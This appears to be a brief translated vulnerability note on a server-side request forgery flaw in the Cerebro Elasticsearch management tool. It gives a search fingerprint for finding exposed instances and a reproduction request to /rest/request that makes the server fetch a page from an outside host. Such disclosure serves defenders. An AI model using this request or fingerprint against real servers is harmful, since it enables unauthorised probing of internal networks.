Cerebro Request Ssrf Vulnerability

Cerebro request SSRF vulnerability

Vulnerability Description

Cerebro is an open source Elasticsearch web visual management tool built using Scala, Play Framework, AngularJS and Bootstrap.

Vulnerability Impact

Cerebro

Network surveying and mapping

app=”Cerebro”

Vulnerability reappears

Main page

Send a request packet

POST /rest/request

{"method":"GET","data":"","path":"robots.txt","host":"https://www.baidu.com"}